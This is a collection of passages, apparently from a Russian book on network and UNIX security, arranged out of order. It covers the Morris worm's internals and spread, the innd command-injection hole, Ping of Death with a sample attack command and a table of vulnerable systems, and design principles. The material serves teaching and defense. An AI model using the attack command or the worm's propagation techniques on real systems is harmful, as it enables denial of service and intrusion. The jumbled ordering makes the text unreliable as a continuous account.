В том случае, когда атакующий находится в одном сегменте с целью атаки или через его сегмент проходит трафик предполагаемого объекта атаки, то задача получения значений ISSa и ISSb является тривиальной и решается путем анализа сетевого трафика. Следовательно, надо четко понимать, что протокол TCP позволяет, в принципе, защитить соединение только в случае невозможности перехвата атакующим сообщений, передаваемых по данному соединению, то есть в случае нахождения атакующего в других сегментах относительно абонентов TCP-соединения.
Поэтому наибольший интерес для нас представляют межсегментные атаки, когда атакующий и его цель находятся в разных сегментах сети. В этом случае задача получения значений ISSa и ISSb не является тривиальной. Далее предлагается следующее решение данной проблемы.
Подробный анализ структуры и процедур вируса
В этом параграфе вирус описывается процедура за процедурой. Взаимосвязь между процедурами показана на рис. 8.1.
Рис. 8.1. Структура вируса.
Понятие типовой удаленной атаки
Исследования и анализ информационной безопасности различных распределенных ВС, проводимые авторами в течение последних лет, наглядно продемонстрировали тот факт, что, независимо от используемых сетевых протоколов, топологии, инфраструктуры исследуемых распределенных ВС, механизмы реализации удаленных воздействий на РВС инвариантны по отношению к особенностям конкретной системы. Это объясняется тем, что распределенные ВС проектируются на основе одних и тех же принципов, а, следовательно, имеют практически одинаковые проблемы безопасности; Поэтому оказывается, что причины успеха удаленных атак на различные РВС одинаковы (глава 5). Таким образом, появляется возможность ввести понятие типовой удаленной атаки. Типовая удаленная атака- это удаленное информационное разрушающее воздействие, программно осуществляемое по каналам связи и характерное для любой распределенной ВС. Введение этого понятия в совокупности с описанием механизмов реализации типовых УА позволяет предложить методику исследования безопасности, инвариантную по отношению к виду распределенной ВС. Методика заключается в последовательном осуществлении всех типовых удаленных воздействий в соответствии с предложенным далее их описанием и характеристиками. При этом основным элементом исследования безопасности РВС является анализ сетевого трафика (п. 3.2.1). Как пояснение последнего утверждения рассмотрим следующую аналогию: отладчик - основное средство для хакера, соответственно анализатор сетевого трафика - основное средство для сетевого хакера. Анализатор сетевого трафика по своей сути является сетевым отладчиком. Итак, в качестве методики исследования информационной безопасности распределенной ВС предлагается выполнение ряда тестовых задач, оценивающих защищенность системы по отношению к типовым удаленным воздействиям.
Рассмотрим в следующих пунктах типовые удаленные атаки и механизмы их реализации.
Порядок работы
Все эти процедуры вызываются в главном цикле. Если первая процедура завершилась успешно, то остальные процедуры не вызываются. Каждая процедура возвращается после того, как она сумела атаковать одну машину. Затем вызывается hi, которая пытается заразить удаленные машины, найденные cracksome. Если hi терпит неудачу, то вызывается ha, которая старается проникнуть в удаленную машину по случайно угаданному адресу связи. Это демонстрирует, что вирус предпочитал поражать сначала шлюзовые машины, а затем распространяться на присоединенные к ним сети, вместо того чтобы заражать машины, минуя шлюзы. Если hg, hi и ha терпят неудачу, то вызывается hl, которая похожа на ha, но подбирает адрес, используя сетевой адрес текущей машины.
Анализ кода этих процедур так же свидетельствует о наличии ошибок, в результате чего некоторые из них не были функциональны.
Последние новости: проникновение с помощью innd
Как иллюстрацию того пути, по которому идут кракеры сегодня, рассмотрим самый популярный способ проникновения в UNIX-хосты начала 1997 года.
Итак, в качестве лазейки была выбрана серверная программа, отвечающая за передачу новостей USENET по протоколу NNTP, называемая InterNet News (Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа "не запятнала" себя ранее (это как раз пример новаторского подхода), во-вторых, как и любой демон, она потенциально допускает проникновение по классу 1; в-третьих, сервис передачи новостей выходит на одно из первых мест в интернете, поэтому эта программа достаточно распространена и существует практически на всех платформах; наконец, уязвимости, если они найдутся в ней, не могут быть сведены на нет файрволом. Поясним последнее подробнее. Если вы у себя на машине ставите сервер, который должен отвечать за прием - передачу новостей по протоколу NNTP, то, естественно, вы должны разрешить этот протокол в своем файрволе. Но кракер, с другой стороны, также будет работать на уровне NNTP. Иначе говоря, как и в приведенной выше уязвимости в sendmail, нет возможности для файрвола отличить пакеты, содержащие "хорошие" новости, от "плохих" , которые посылает кракер - файрвол может только вообще или запретить конкретный трафик, или разрешить его.
Именно такого рода уязвимость была найдена в программе innd [22]. Среди обычных сообщений USENET встречаются так называемые управляющие, типа "newgroup" или "rmgroup" . Innd обрабатывает команды, расположенные в них, через команду оболочки "eval" . Однако некоторая информация (иначе говоря, специальным образом разработанное фальшивое управляющее сообщение) может быть передана оболочке без надлежащего контроля. Это позволит любому, кто может присылать сообщения на ваш NNTP-сервер - иногда это чуть ли ни любой пользователь USENET - исполнить любую команду, имея привилегии демона innd, - а это либо суперпользователь, либо специальный пользователь news с широкими правами. Все версии Inn, вплоть до 1.5 включительно, оказались уязвимыми.
Предотвращение повторного заражения
Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее значение, т. к. из-за того, что многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой (некоторые машины даже не могли с ней справиться).
Вирус, "проверяющий" наличие других вирусов, пытался связаться с портом 23357 для того, чтобы установить контакт с "отвечающим" вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам становился "отвечающим" .
Если связь устанавливалась, "проверяющий" посылал магическое число 8865431 и в течение 300 секунд ожидал другое магическое число 1345688. Если число было неверным, "проверяющий" разрывал связь.
Затем он выбирал случайное число и посылал "отвечающему" . После этого, в течение 10 секунд, он ожидал возврата этого числа, после чего складывал его с посланным. Если сумма была четным числом, то "проверяющий" устанавливал значение переменной pleasequit. Иначе говоря, каждый раз из двух вирусов один "смертник" выбирался случайно.
После окончания (успешного или неудачного) сеанса связи "проверяющий" "засыпал" на 5 секунд и пытался стать "отвечающим" . Для этого он создавал TCP сокет, устанавливал его параметры для межпроцессной связи и подключал его к порту 23357.
Этот код содержал столько ошибок, что вызывает удивление тот факт, что он вообще работал. Он завершался с ошибкой при следующих условиях:
если несколько вирусов заражали чистую машину одновременно, то они так же одновременно пытались найти остальных в режиме "проверяющих" . Так как никто не мог их найти, они постепенно переключались в режим ожидания сообщения и один из них получал его, а остальные прекращали попытки связаться друг с другом и не отвечали на запросы; если несколько вирусов одновременно стартовали в присутствии другого уже работающего вируса, то только одному из них удавалось связаться с активным вирусом, остальные не могли этого сделать; если машина работала медленно или была сильно загружена, то это могло привести к исчерпанию вирусом лимита времени, отпущенного на установление связи с другими вирусами, что приводило к прекращению обмена.
Заметим, что здесь выражение "одновременно" подразумевает 5-20 секундный промежуток.
Критичная ошибка содержалась в коде, когда вирус решал, что должен завершиться. Все, что он делал - это устанавливал переменную pleasequit. Эта не давало эффекта до тех пор, пока вирус не:
собрал список имен машин для их атаки; собрал список имен пользователей; осуществил перебор всех "очевидных" паролей (см. 8.4.4.3) и не попробовал 10 случайно взятых паролей из своего словаря.
Так как вирус удалял все временные файлы, то его присутствие в машине не мешало ее повторному заражению.
Многократно зараженные машины распространяли вирус быстрее, возможно пропорционально числу копий вируса на машине, т. к.:
вирус перемешивал списки имен машин и пользователей, которые собирался атаковать, используя генератор случайных чисел, зависящий от системного времени. Разные копии получали разные случайные числа и атаковали разные объекты; вирус проводил много времени, ожидая сообщений от других вирусов, поэтому вирусы не конфликтовали между собой, запрашивая системные ресурсы.
Таким образом, вирус распространялся гораздо быстрее, чем это ожидал автор, и был обнаружен именно по этой причине.
Превышение максимально возможного размера IP-пакета или "Ping Death"
В максимальный размер IP-пакета (65535 байт) включается длина IP-заголовка и длина поля данных в IP-пакете. Так как IP-заголовок имеет минимальный размер в 20 байт (максимальный в 60), то, соответственно, размер передаваемых в одном IP-пакете данных не может превышать 65535 - 20 = 65515 байт. А что будет, если превысить этот максимальный размер IP-пакета?
Тестировать свои программы на минимальных и, самое главное, на максимальных значениях, то есть на предельных критических значениях - стандартный для любого программиста ход. Подобные тесты позволяют выявить такие неприятные ошибки, как всевозможные переполнения (буфера, стека, переменной и т. д.).
Вернемся к IP. В принципе, ничто не мешает атакующему сформировать набор фрагментов, которые после сборки превысят максимально возможный размер IP-пакета. Собственно, в этой фразе и сформулирована основная идея данной атаки.
Итак, 18 декабря 1996 года на информационном сервере CERT появились сообщения о том, что большинство сетевых ОС, поддерживающих протоколы TCP/IP, обладают следующей уязвимостью: при передаче на них IP-пакета длиной, превышающей максимально допустимое значение, в этих ОС переполняется буфер или переменная, и система зависает или перезагружается и т. п. - отказ в обслуживании! Также был приведен следующий список потенциально опасных платформ:
Berkeley Software Design, Inc. (BSDI); Computer Associates, Intl. (products for NCR); Cray Research; Digital Equipment Corporation; FreeBSD, Inc.; Hewlett-Packard Company; IBM Corporation; Linux Systems; NEC Corporation; Open Software Foundation (OSF); The Santa Cruz Operation, Inc. (SCO); Sun Microsystems, Inc.
Увидев сообщение о подобной атаке и, главное, этот перечень операционных систем на различных платформах, мы с величайшим удивлением долго его перечитывали, а потом принялись за эксперименты. Наше глубочайшее изумление вызвал тот факт, что подобную элементарнейшую ошибку переполнения буфера в модуле IP ядра ОС за почти 20 лет активного функционирования протокола IP в различных ОС разработчики сегодняшних систем, да еще в таком массовом количестве, до сих пор не замечали! Поэтому мы позволили себе не поверить столь уважаемой организации, как CERT. Но прежде, чем начать эксперименты, было решено посмотреть по указанной в CERT ссылке [29] на WWW-сервер, где экспертами проводились подобные исследования на различных ОС. Там, собственно как и в CERT, эта атака называлась "Ping Death" . На этом WWW-сервере предлагалось реализовать такую атаку следующим образом: на рабочей станции с ОС Windows '95 или Windows NT необходимо выполнить следующую команду:
ping -l 65527 victim.destination.IP. address (поэтому - "Ping Death" ).
Так как обычный размер IP- заголовка составляет 20 байт, размер ICMP-заголовка - 8 байт, то подобный ICMP-пакет будет превышать максимально возможный размер IP-пакета на 20 байт
(65527 + 20 +8 - 65535 = 20).
Таким образом эти "эксперты" декларировали, что обычной командой ping якобы можно нарушить работоспособность практически любой сетевой ОС. В завершение на этом сервере приводилась следующая таблица тестирования различных операционных систем, на которые данная удаленная атака якобы произвела необходимый эффект. Далее авторы хотели бы продемонстрировать вам эту таблицу с существенными сокращениями (см. табл. 4.13).
Не правда ли, эта таблица операционных систем, обладающих такой уязвимостью, производит должное впечатление!
Итак, мы начали тестирование и, честно говоря, абсолютно не удивились, когда ни одна
из исследуемых операционных систем, ни IRIX, ни AIX, ни VMS, ни SunOs, ни FreeBSD, ни Linux, ни Windows NT 4.0, ни даже Windows '95 и Windows for WorkGroups 3.11, абсолютно никак не реагировали на подобный некорректный запрос и продолжали нормально функционировать! Тогда были предприняты специальные поиски ОС, которую бы действительно вывела из строя данная атака. Ею оказалась Windows 3.11 с WinQVT - эта ОС действительно зависла.
Таблица 4.13
Уязвимые операционные системы
| Operating system |
Version |
Symptoms |
| Solaris (x86) |
2.4, 2.5, 2.5.1 |
Reboot |
| Minix |
1.7.4, v2.0 and probably others |
Crash |
| HP3000 MPE/iX |
4.0, 5.0, 5.5 |
System abort |
| Convex SPP-UX |
All version |
Crash |
| Apple Mac |
MacOs 7.x.x |
Crash |
Windows 3.11 with
Trumpet Winsock |
? |
Mixed reports |
| Novell NetWare |
3.x |
Mixed results |
| Windows '95 |
All of 'em |
Crrrash |
| AIX |
3 and 4 |
Operating system dump. |
| Linux |
? 2.0.23 |
Spontaneous reboot or kernel panic |
| DEC Unix/OSF1 |
2.0 and above |
Kernel Panic |
| Open VMS for AXP |
various |
Mixed reports |
| Open VMS for VAX |
v6.2, UCX v4.0 and others |
Reboot |
| HP-UX |
9.0 to 10.20 |
Crash, Reboot, Hang ... |
| Windows NT |
3.5.1 |
Mixed results |
| Irix |
5.3 |
Panic |
| Windows NT |
4.0 |
Crash |
| SCO Openserver |
4.2, 5.0.x |
Vulnerable |
| DEC TOPS-20, TOPS-10 |
All |
Errors |
| Digital Firewall |
? |
Vulnerable |
| AltaVista Firewall for UNIX |
? |
Vulnerable |
<
На запрос, посланный этим так называемым "экспертам" , которым столь доверяют CERT и CIAC, где мы попросили прояснить возникшую ситуацию, а также сведения из таблицы 4.13, был получен ответ; в нем говорилось, что успех данной атаки зависит от многих факторов, а именно: программного и аппаратного обеспечения, установленного на компьютере и, самое главное, от фазы луны. Согласитесь, полный бред! Для полноты картины мы хотели бы далее привести описание exploit'а, созданного для Windows NT 4.0, задача которого, используя ping, завесить собственный компьютер. Первым шагом предлагалось запустить Web Browser (?). На втором шаге требовалось запустить taskmgr (Task Manager) (??). В комментариях к этому шагу говорилось, что так Ping Death работает лучше (еще не хватает шаманского бубна!). И, наконец, требовалось запустить 18 ping-процессов (???) (не больше и не меньше; может быть, лучше сразу 100 - чего мелочиться!). Если вы думаете, что далее ваша ОС немедленно повиснет, то вы ошибаетесь! В комментариях к exploit'у до получения эффекта предлагалось ждать примерно 10 минут, с философским замечанием о том, что ожидание может продлиться несколько больше (интересно на сколько больше - час, месяц, год ?!) или несколько меньше.
В итоге можно сделать вывод, что шумиха, поднятая в CERT и CIAC по поводу данной атаки, является безосновательной, и ничего другого нам, видимо, не остается, как назвать эту атаку очередной программистской байкой и причислить ее к разряду практически неосуществимых.
|
|
<<< |
^^^ |
>>> |
Причины существования уязвимостей в UNIX-системах
Рассмотрев выше достаточно много фактического материала, мы коснемся причин, по которым описанные нарушения безопасности UNIX имели место, и попытаемся их классифицировать. Сразу оговоримся, что эта классификация ни в коей мере не претендует на новизну или полноту - кому интересна эта тема, предлагаем обратиться к более серьезным научным работам [9, 23]. Здесь же мы опишем вполне понятные читателю причины, по которым, тем не менее, происходит до 90% всех случаев вскрытия UNIX-хостов.
Наличие демонов. Механизм SUID/SGID-процессов.
Эти механизмы, являющиеся неотъемлемой частью идеологии UNIX, были и будут лакомым кусочком для хакеров, т. к. в этом случае пользователь всегда взаимодействует с процессом, имеющим большие привилегии, чем у него самого, и поэтому любая ошибка или недоработка в нем автоматически ведет к возможности использования этих привилегий.
Излишнее доверие.
Об этом уже достаточно говорилось выше. Повторим, что в UNIX достаточно много служб, использующих доверие, и они могут тем или иным способом быть обмануты.
К этим трем причинам нельзя не добавить следующую:
Человеческий фактор с весьма разнообразными способами его проявления - от легко вскрываемых паролей у обычных пользователей до ошибок у квалифицированных системных администраторов, многие из которых как раз и открывают путь для использования механизмов доверия.
Рис. 8.2. Причины уязвимости UNIX при атаках на телекоммуникационные службы.
Рассмотрим теперь более подробно причины, по которым оказываются уязвимы демоны и SUID/SGID-процессы:
возможность возникновения непредусмотренных ситуаций, связанных с ошибками или недоработками в программировании; наличие скрытых путей взаимодействия с программой, называемых "люками" ; возможность подмены субъектов и объектов различным образом.
К первым можно отнести классическую ситуацию с переполнением буфера или размерности массива (примеры см. п. 8.4.1.2 и 8.6.2), ведущую к затиранию области стека и записи туда специальных команд, которые будут затем исполнены. Заметим сразу, что этот способ, несмотря на свою популярность, всегда будет системозависимым и ориентирован только на конкретную платформу и версию UNIX.
Хорошим примером непредусмотренной ситуации в многозадачной операционной системе является неправильная обработка некоторого специального сигнала или прерывания. Часто хакер имеет возможность смоделировать ситуацию, в которой этот сигнал или прерывание будет послано (в UNIX'е посылка сигнала решается очень просто - командой kill - см. пример 8.6.2).
Наконец, одна из самых распространенных программистских ошибок - является неправильная обработка входных данных (это является некоторым обобщением случая переполнения буфера.) По свидетельству [24], ими в 1990 и 1995 годах были подвергнуты автоматизированному тестированию около 80 программ на 9 различных платформах UNIX - специальная программа подавала на вход строки длиной до 100000 символов. Результатом явилось то, что 25- 33% в 1990 г. и 18- 23% в 1995 г. работали некорректно - зависали, сбрасывали аварийный дамп и т. п. (Интересно, что в коммерческих версиях UNIX этот процент доходил до 43, тогда как в свободно распространяемых он был меньше 10.) Впрочем, справедливости ради надо отметить, что только 2 программы-демона вели себя таким образом в 1990 г., а через 5 лет эти ошибки были исправлены. Ну, а если программа неправильно обрабатывает случайные входные данные, то очевидно, что можно подобрать такой набор специфических входных данных, которые приведут к желаемым для хакера последствиям. Примером этого может служить innd (8.6.4).
Люком, или "черным входом" (backdoor) часто называют оставленную разработчиком недокументированную возможность взаимодействия (чаще всего входа в систему), например, известный только разработчику универсальный "пароль" . Люки оставляют в конечных программах вследствие ошибки, не убрав отладочный код или вследствие необходимости продолжения отладки уже в реальной системе в связи с ее высокой сложностью или же их корыстных интересов. Люки - это любимый путь входа в удаленную систему не только у хакеров, но и у журналистов и режиссеров вкупе с подбором "главного" пароля перебором за минуту до взрыва, но в отличие от последнего способа, люки реально существуют. Классический пример люка - это, конечно, отладочный режим в sendmail.
Наконец, вследствие многих особенностей UNIX, таких как асинхронное выполнение процессов, развитый командный язык и файловая система, злоумышленниками могут быть использованы механизмы подмены одного субъекта или объекта другим. Например, в рассмотренных выше примерах часто применялась замена имени файла, имени получателя и т. п. именем программы (см. 8.5.2.3 и 8.5.2.4.3). Аналогично может быть выполнена подмена некоторых специальных переменных. Так, для некоторых версий UNIX существует атака, связанная с подменой символа разделителя команд или опций на символ "/" . Это приводит к тому, что когда программа вызывает /bin/sh, вместо него вызывается файл bin с параметром sh в текущем каталоге. Похожая ситуация возникает при атаке на telnetd (см. 8.6.1). Наконец, очень популярным в UNIX видом подмены является создание ссылки (link) на критичный файл. После этого файл-ссылка некоторым образом получает дополнительные права доступа, и тем самым осуществляется несанкционированный доступ к исходному файлу. Аналогичная ситуация с подменой файла возникает, если путь к файлу определен не как абсолютный (/bin/sh), а относительный (../bin/sh или $(BIN)/sh). Такая ситуация имела место в рассмотренной уязвимости telnetd.
И последнее - нельзя приуменьшать роль человека при обеспечении безопасности любой системы. Возможно, он даже является слабейшим звеном. Про необходимость выбора надежных паролей уже говорилось. Неправильное администрирование - такая же актуальная проблема, а для UNIX она особенно остра, т. к. сложность администрирования UNIX-систем давно уже стала притчей во языцех и часто именно на это упирают конкуренты. Но за все надо платить, и это обратная сторона переносимости и гибкости UNIX. Более того, если говорить о слабости человека, защищенные системы обычно отказываются и еще от одной из основных идей UNIX - наличия суперпользователя, имеющего доступ ко всей информации и никому не подконтрольного. Его права могут быть распределены среди нескольких людей: администратора персонала, администратора безопасности, администратора сети и т. п., а сам он может быть удален из системы после ее инсталляции. В результате вербовка одного из администраторов не приводит к таким катастрофическим последствиям, как вербовка суперпользователя.
Настройки некоторых приложений, того же sendmail, настолько сложны, что для поддержания работоспособности системы требуется специальный человек - системный администратор, - но даже он, мы уверены, не всегда знает о всех возможностях того или иного приложения и о том, как правильно их настроить. И если хакеры смогли проникнуть в систему, то это не всегда говорит о халатности администратора, а, зачастую, о его ограниченном знании того или иного продукта.
Причины успеха удаленных атак на распределенные вычислительные системы и сеть Internet
|
"То, что изобретено одним человеком,
может быть понято другим,"- сказал Холмс.
А.Конан-Дойл.
Пляшущие человечки.
| |
В двух предыдущих главах было показано, что общие принципы построения распределенных ВС позволяют выделить в отдельный класс угрозы, характеризующие только распределенные системы. Было введено такое понятие, как типовая удаленная атака, и были предложены механизмы реализации удаленных атак (УА) всех типов. Понятие типовой УА позволило классифицировать угрозы безопасности распределенным ВС вообще, поскольку типовые УА инвариантны по отношению к конкретному типу РВС. Инвариантность типовых УА основана на том, что они направлены на основополагающие принципы построения, заложенные в инфраструктуру любой распределенной системы.
Предложенные в этой книге описание, характеристика и классификация основных типов УА позволяют говорить о практической методике исследования безопасности РВС. Основой этой методики является последовательное осуществление УА всех типов; при этом основным средством анализа безопасности сетевого взаимодействия объектов распределенной системы будет являться описанный в 3 главе сетевой анализ (анализ сетевого трафика).
Итак, в данной главе будут подробно рассмотрены основные причины, из-за которых возможны удаленные атаки. Наша цель состоит в том, чтобы сформулировать те принципы и требования, которые ликвидировали бы причины успеха УА и, руководствуясь которыми, было бы возможно построение распределенной ВС с защищенным сетевым взаимодействием ее удаленных компонентов.
5.1. Причины успеха удаленных атак на распределенные ВС
5.2. Причины успеха удаленных атак на сеть Internet
|
| |
|
<<< |
^^^ |
>>> |
Причины успеха удаленных атак на распределенные ВС
Основные вопросы, на которые попытается дать ответы данная глава, это: "почему возможны удаленные атаки" и "в чем причины их успеха" ? Анализ механизмов реализации типовых УА (глава 3) и их практическое осуществление на примере сети Internet (глава 4) позволили сформулировать причины, по которым данные удаленные атаки оказались возможными. Особо отметим, что рассматриваемые ниже причины основываются на базовых принципах
построения сетевого взаимодействия объектов распределенной ВС.
В этой главе мы разберем только причины успеха УА на инфраструктуру и базовые протоколы сети (глава 4), а не УА на телекоммуникационные службы, причины успеха которых будут рассмотрены в главе 8. Для устранения причин атак первого типа зачастую необходимо либо отказаться от определенных служб (DNS, например, см. п. 4.3), либо изменить конфигурацию системы (наличие широковещательной среды приводит к возможности прослушивания канала, осуществляемого программным образом (п. 4.1 и 3.2.1)), либо изменить систему в целом (см. направленный "шторм" TCP-запросов в. п. 4.6). Все дело в том, что причины успеха удаленных атак данного типа кроются в инфраструктуре распределенной ВС, поэтому создание таксономии причин их успеха представляется весьма важной задачей, решение которой позволит выработать принципы построения защищенного взаимодействия в РВС.
Итак, рассмотрим возможные причины успеха УА на инфраструктуру и базовые протоколы распределенных ВС.
Причины успеха удаленных атак на сеть Internet
Сеть Internet представляет собой распределенную вычислительную систему, инфраструктура которой общеизвестна и хорошо описана в различной литературе, например [12]. Поэтому рассмотренные в п. 5.1 причины успеха удаленных атак на распределенные ВС можно спроецировать на сеть Internet и сделать вывод о существовании в данной сети серьезных пробелов в обеспечении безопасности, на которых базируются причины. Внимательный читатель, изучая предыдущие разделы, уже, наверное, мысленно осуществил проекцию и обратил внимание на то, как недостатки, присущие абстрактной распределенной ВС, легко обнаруживаются в реальной РВС - Internet.
Принципы создания защищенных систем связи в распределенных вычислительных системах
|
План, что и говорить, был превосходный:
простой и ясный, лучше не придумаешь.
Недостаток у него был только один:
было совершенно неизвестно,
как привести его в исполнение.
Л. Кэрролл.
Приключения Алисы в стране чудес.
| |
В предыдущей главе были рассмотрены основные причины нарушения информационной безопасности распределенных вычислительных систем по каналам связи. Описанные выше причины успеха удаленных атак на распределенные системы наглядно продемонстрировали, что несоблюдение требований безопасности к защищенным системам связи удаленных объектов РВС приводит к нарушению безопасности системы в целом. Поэтому данная глава и будет посвящена выработке требований защищенного взаимодействия в распределенной ВС. Основной вопрос, на который мы постараемся здесь ответить, это - из каких принципов необходимо исходить при построении защищенной системы связи удаленных объектов распределенной ВС. Итак, далее речь пойдет о технологии создания защищенных систем связи объектов в РВС.
Очевидно, что при построении защищенных систем следует бороться не с угрозами, являющимися следствием недостатков системы, а с причинами возможного успеха атак. Ясно, что для того, чтобы победить следствие, надо устранить причину. Поэтому, чтобы ликвидировать угрозы (удаленные атаки), осуществляемые по каналам связи, необходимо ликвидировать причины, их порождающие. Это основной принцип, руководствуясь которым, далее мы и сформулируем требования к защищенным системам связи в распределенных ВС.
6.1. Выделенный канал связи между объектами распределенной ВС
6.2. Виртуальный канал как средство обеспечения дополнительной идентификации/аутентификации объектов в распределенной ВС
6.3. Контроль за маршрутом сообщения в распределенной ВС
6.4. Контроль за виртуальными соединениями в распределенной ВС
6.5. Проектирование распределенной ВС с полностью определенной информацией о ее объектах с целью исключения алгоритмов удаленного поиска
|
| |
|
<<< |
^^^ |
>>> |
Процедура doit
Процедура doit состоит из двух частей - инициализации и основного цикла.
Процедура ll.c - "абордажный крюк"
Это короткая процедура, которую все процедуры атаки использовали для пересылки основной части вируса.
Первое, что она делает, это удаляет свой образ на диске. Затем она проверяет наличие трех аргументов (если их нет, то завершается), после чего закрывает все файловые дескрипторы и разветвляется на два процесса (если это не удается, она так же завершается). Процесс-родитель завершается, не оставляя никаких связей с порожденным процессом.
Далее процедура (процесс-потомок) создает TCP-связь с заражаемой машиной по адресу, заданному в качестве первого аргумента, через порт, заданный вторым аргументом. Затем она пересылает на зараженную машину "магическое число" , заданное третьим аргументом. Каждый аргумент стирается сразу же после его использования. Далее стандартный ввод-вывод переназначается на канал связи с зараженной машиной.
Следующим этапом в цикле считывается длина и имя каждого файла, составляющего вирус. Каждый файл пересылается с зараженной машины на текущую. При возникновении сбоев все файлы удаляются.
По окончании цикла пересылки файлов запускается Bourne Shell (sh), замещающий программу ll и получающий команды с зараженной машины.
|
| |
|
<<< |
^^^ |
>>> |
Процедуры подбора пароля
Эти процедуры являются "мозгом" вируса. Cracksome
- процедура, применяющая различные стратегии для проникновения в систему путем подбора паролей пользователей. Автором допускалось добавление новых стратегий в случае последующего развития вируса. Вирус последовательно пробует каждую стратегию.
Процедуры поиска удаленных машин
Это набор процедур с начинающимися на "h" именами, выполняющих задачу поиска имен и адресов удаленных машин.
Процедура hg вызывает процедуру rt_init, которая сканирует таблицу маршрутов и записывает все адреса доступных шлюзов (gateways) в специальный список. Затем процедура hg пытается применить процедуры атаки через rsh, finger и sendmail.
Процедура ha связывается с каждым шлюзом из списка, полученного процедурой hg, через TCP порт номер 23 (telnet), для того, чтобы обнаружить те машины, которые поддерживают telnet. Список перемешивается случайным образом, после чего для каждой машины из этого списка вызывается процедура hn (т. е. вирус пытается заразить все машины в подсетях этого шлюза).
Процедура hl извлекает номер сети - первый компонент сетевого адреса из всех адресов текущей машины, и для каждого полученного адреса вызывает процедуру hn с этим адресом в качестве аргумента (иначе говоря, атакуются все локально подключенные подсети).
Процедура hi пытается атаковать каждую машину из списка, находящегося в файле /etc/hosts.equiv (см. 8.4.4.3), через rsh, finger и sendmail.
Процедура hn получает номер сети в качестве аргумента. Если этот номер совпадает с номером сети одной из машин, подключенных к данной, процедура завершается. Для остальных адресов она пытается угадать адреса шлюзов путем перебора всех возможных адресов (<номер сети>.[1-8].0.[1-255]). Этот список перемешивается случайным образом, после чего процедура пытается атаковать до 12 машин из этого списка, используя rsh, finger и SMTP. Если машина не поддерживает связь через TCP-порт 514 (rsh), то hn не пытается атаковать ее. После первой успешной атаки процедура завершается.
Проектирование распределенной
Одной из особенностей распределенной ВС является возможное отсутствие информации, необходимой для доступа к ее удаленным объектам. Поэтому в РВС возникает необходимость использования потенциально опасных с точки зрения безопасности алгоритмов удаленного поиска (п. 3.2.3.2 и 5.1.5). Следовательно, для того, чтобы в РВС не возникало необходимости в использовании данных алгоритмов, требуется на начальном этапе спроектировать систему так, чтобы информация о ее объектах была изначально полностью определена. Это позволит, в свою очередь, ликвидировать одну из причин успеха удаленных атак, связанных с использованием в распределенной ВС алгоритмов удаленного поиска.
Однако в РВС с неопределенным и достаточно большим числом объектов (например, Internet) спроектировать систему с отсутствием неопределенности практически невозможно. В этом случае отказаться от алгоритмов удаленного поиска не представляется возможным.
Существуют два типа данных алгоритмов. Первый типовой алгоритм удаленного поиска - с использованием информационно-поискового сервера, второй - с использованием широковещательных запросов (п. 5.1.5). Применение в РВС алгоритма удаленного поиска с использованием широковещательных запросов в принципе не позволяет защитить систему от внедрения в нее ложного объекта (п. 3.2.3), а, следовательно, использование данного алгоритма в защищенной системе недопустимо. Применение в распределенной ВС алгоритма удаленного поиска с использованием информационно-поискового сервера позволяет обезопасить систему от внедрения в нее ложного объекта только в том случае, если, во-первых, взаимодействие объектов системы с сервером происходит только с созданием виртуального канала и, во-вторых, у объектов, подключенных к данному серверу, и у сервера существует заранее определенная статическая ключевая информация, используемая при создании виртуального канала. Выполнение этих условий сделает невозможным в распределенной ВС передачу в ответ на запрос с объекта ложного ответа и, следовательно, внедрения в систему ложного объекта.
Поясним последнее утверждение. В том случае, если виртуальный канал с информационно-поисковым сервером создается с использованием только динамически вырабатываемой ключевой информации, например, по схеме открытого распределения ключей, то ничто не мешает атакующему - в том случае, если он может перехватить первоначальный запрос на создание ВК с объекта системы - послать ложный ответ и создать виртуальный канал от имени настоящего сервера (п. 3.2.3.2). Именно поэтому на всех объектах системы необходима начальная ключевая информация для создания ВК с информационно-поисковым сервером.
В заключение предлагаются следующие требования, которыми необходимо руководствоваться при создании защищенных систем связи в распределенных ВС.
Утверждение 7.
Наиболее безопасной распределенной ВС является та система, в которой информация о ее объектах изначально полностью определена и в которой не используются алгоритмы удаленного поиска.
Утверждение 8.
В том случае, если выполненить требование 7 невозможно, необходимо в распределенной ВС использовать только алгоритм удаленного поиска с выделенным информационно-поисковым сервером, и при этом взаимодействие объектов системы с данным сервером должно осуществляться только
по виртуальному каналу с применением надежных алгоритмов защиты соединения с обязательным использованием статической ключевой информации.
Следствие 8.1.
В распределенной ВС для обеспечения безопасности необходимо отказаться от алгоритмов удаленного поиска с использованием широковещательных запросов.
Заключая эту главу, хотелось бы обратить внимание читателя на то, что, как он, наверное, уже понял, в сети Internet в стандарте IPv4 практически ни одно из сформулированных требований к построению безопасных систем связи между удаленными объектами распределенных ВС не выполняется. Поэтому авторы позволили себе привести свои требования, по которым должна строиться распределенная ВС. Кстати, учтя собственные ошибки в разработке стандарта IPv4, группы разработчиков уже заканчивают проект создания нового более защищенного стандарта сети Internet - IPv6, где будут, по-видимому, учтены некоторые из вышеизложенных требований. Однако разговор о том, насколько будет безопасна сеть Internet в новом стандарте, несколько преждевременен, и его необходимо отложить до окончательного выхода стандарта в свет.
Программа SATAN
После общего введения мы посчитали невозможным не ознакомить читателя в общих чертах с таким нашумевшим средством, как SATAN, которое иногда считается чуть ли ни самой опасной программой из когда бы то ни было написанных, начиная от своего зловещего названия до возможности влезть чуть ли не в самый защищенный компьютер. Насчет названия сразу подчеркнем, что в момент инсталляции с помощью специальной процедуры вы можете поменять его на SANTA (Security Analysis Network Tool for Administrator), а заодно и зловещего сатану на симпатичного Деда Мороза. А что касается влезания в компьютер (не любой, конечно) - если подобная программа и имеется у хакеров или спецслужб, то она никогда не стала бы свободно распространяться по интернету, как это происходит с SATAN.
|
|
|
|
|
|
Рис. 8.3. SATAN.
|
|
Рис. 8.4. SANTA (видимо, Claus).
|
|
